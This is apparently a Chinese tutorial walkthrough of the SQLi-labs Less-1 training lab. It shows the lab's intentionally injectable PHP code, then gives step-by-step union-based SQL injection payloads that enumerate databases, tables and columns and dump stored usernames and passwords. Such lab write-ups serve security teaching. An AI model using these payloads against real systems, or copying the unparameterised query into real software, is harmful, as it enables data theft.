数据库

123

源码

关卡1的功能是根据ID列的值查询相应的username和password字段信息,并显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

为了方便查看SQL的执行情况,可以将源码修改成如下的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
echo "<br>SQL执行结果: ".$sql;
}
else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

漏洞点

php源码

需要注意的是闭合引号时,需要闭合的是里面的引号'

外面的引号"是php中用来定义字符串的

在mysql执行语句时不会传入最外层的引号,所以不需要闭合

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

mysql语句

information_schema数据库使用

information_schema数据库在mysql 5.0之后才存在

tables表

information_schema中存在一个表tables,存储了所有数据库的所有表信息

可以利用其中的table_schema和table_name两个字段查询表信息

直接查看table_schema可以查看所有的数据库名,

1
select table_schema from information_schema.tables

因为会存在重复的数据,所以可以使用关键字distinct去重

1
select distinct table_schema from information_schema.tables

使用group_concat()函数将结果整合成一行输出

1
select group_concat(distinct table_schema) from information_schema.tables

如果知道了数据库名后,可以根据表tables来查询出该数据库的所有表名

1
select table_name from information_schema.tables where table_schema='security'

因为查询出来的的数据是多条的,在大多数情况下需要整合成一个字符串进行输出

此时需要使用到group_concat函数,这样数据就可以合并在一起输出,并使用逗号隔开

1
select group_concat(table_name) from information_schema.tables where table_schema='security'

columns表

除了information_schema.tables表外,还有一个information_schema.columns表存储了所有的字段名,可以用来查询信息

查询所有库、指定库的所有表名既可以通过information_schema.tables,也可以通过information_schema_columns

1
2
3
4
查看所有库名
select distinct table_schema from information_schema.columns
查看security库的所有表名
select distinct table_name from information_schema.columns where table_schema='security'

如果是需要查询指定库指定表的所有字段名时,只能通过information_schema_columns了

查询security库,users表的所有字段名

1
select distinct column_name from information_schema.columns where table_schema='security' and table_name='users'

schemata表

schemata可以拆开成schema和ta来记忆,ta是table缩写

查询所有的库名

1
select group_concat(distinct schema_name) from information_schema.schemata

查询指定数据库security的编码方式

1
select default_character_set_name from information_schema.schemata where schema_name='security'

漏洞利用

闭合引号

用户输入的id值,可以传入$id变量,并在$sql变量中被调用,最终执行下方的sql语句

因为id参数是被引号括起来的,所以是字符型的SQL注入

1
SELECT * FROM users WHERE id='$id' LIMIT 0,1

如果要构造恶意的SQL语句,需要跳出引号

先传入一个单引号,看看执行结果

执行的SQL语句中,因为存在了奇数个的单引号,导致有一个引号没法闭合,从而报错

1
SELECT * FROM users WHERE id='1'' LIMIT 0,1

报错的时候,无法执行我们的恶意代码

此时可以使用注释符,将末尾的语句注释

mysql中的注释符有三种,使用–时需要与注释的内容之间添加一个空格

注释符 使用
# #内容
– 内容
/**/ /*内容*/

直接使用注释符的时候,不能通过URL传输过去,否则将会报错

在使用时需要将其URL编码,空格也需要进行URL编码,--则不需要编码

'和注释符号之间就可以插入SQL语句并执行

1
SELECT * FROM users WHERE id='1'恶意的SQL语句#' LIMIT 0,1

使用--的时候也是一样的,只不过空格可以使用%20也可以使用+号替代

判断列数

因为直接在引号和注释符之间插入select语句时,无法回显内容

此时需要使用union或union all将原先的select结果和插入的select结果拼接到一起

而union的使用条件如下:

1
2
1. 两个select返回结果的类型需兼容
2. 两个select的结果列数必须一致

所以要想获取回显的内容,就需要判断原先的select的结果有几列

判断时可以使用order by 列数,二分法进行判断

order by是用来根据某列的结果,进行排序,如果不存在该列时就会报错

payload如下:

1
1' order by 列数--+

第一列存在

第十列不存在

第五列不存在

第三列存在

第四列不存在

所以可以判断出第一条的select语句返回的结果集列数为3列

构造union联合语句

所以我们可以构造一个select语句,使得该语句的返回结果集也为3列

1
1' union select 1,2,3--+

虽然成功执行了我们的select语句,但因为第一条select语句的返回结果已经占据了显示出来的两列数据

所以无法查看到我们的执行结果

如果要显示我们插入的select语句时,就需要让原本的select语句返回结果为空值

在数据库中可以看出查询的id值范围在[1,14]时,都是有结果的

所以我们只需要传入一个id的值,不在[1,14]的范围内,就可以显示第二条select的结果

payload如下:

1
0'union select 1,2,3--+

可以发现虽然是select了3个值,却只有2和3被显示了出来

这是因为第一列是id列,第二列的username,第三列是password

在php源码中,只获取了usernmae列和password列的值进行显示

现在我们就可以通过在第二列和第三列的位置插入一些恶意的SQL语句,从而获取语句的执行结果了

database()就是用来查询当前数据库名称的

1
0'union select 1,database(),database()--+

获取数据库基础信息

函数变量 作用
version() 获取数据库版本
connection_id() 服务器的连接数
database() 当前数据库名
user() 当前用户

查询所有数据库库名

根据前几个步骤可以知道第二列和第三列可以返回内容

1
0'union select 1,查询语句,查询语句--+

所以可以直接通过information_schema库的tables表来查询所有的数据库名,或者是information_schema库的columns表

使用时不需要再添加一个select语句

1
0'union select 1,2,group_concat(distinct table_schema) from information_schema.tables--+

最后得到的数据库名如下

1
2
3
4
5
6
challenges
information_schema
mysql
performance_schema
security
sys

查询指定数据库所有表名

根据前几个步骤可以知道第二列和第三列可以返回内容

1
0'union select 1,查询语句,查询语句--+

假设我们需要查询security库的所有表名信息时,可通过information_schema.tablesinformation_schema.columns

1
0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

最终得到security库的所有表名如下

1
2
3
4
emails
referers
uagents
users

查询指定数据库指定表所有字段名

根据前几个步骤可以知道第二列和第三列可以返回内容

1
0'union select 1,查询语句,查询语句--+

此时因为information_schema.tables没有存储字段的信息,所以只能通过information_schema.columns来查询了

1
0'union select 1,2,group_concat(distinct column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

可以查询到security库的users表存在以下的字段

1
2
3
id
password
username

查询指定列信息

根据前几个步骤可以知道第二列和第三列可以返回内容

1
0'union select 1,查询语句,查询语句--+

因为库名、表名、字段名都已经获知了,所以不需要使用到information_schema数据库

使用下方的语句直接查询security库users表的id、password、username三个字段值

1
0'union select 1,2,group_concat(id,password,username) from security.users--+

因为一次性输出内容比较多,可以通过在group_concat函数中添加<br>换行标签和空格调整一下格式输出

1
0'union select 1,2,group_concat("<br>",id," ",username," ",password,"<br>") from security.users limit 1--+

参考

https://blog.csdn.net/weixin_40594645/article/details/107835346

https://blog.csdn.net/hxhxhxhxx/article/details/107643024

https://blog.csdn.net/weixin_46544385/article/details/120563650

https://blog.csdn.net/ichen820/article/details/117130736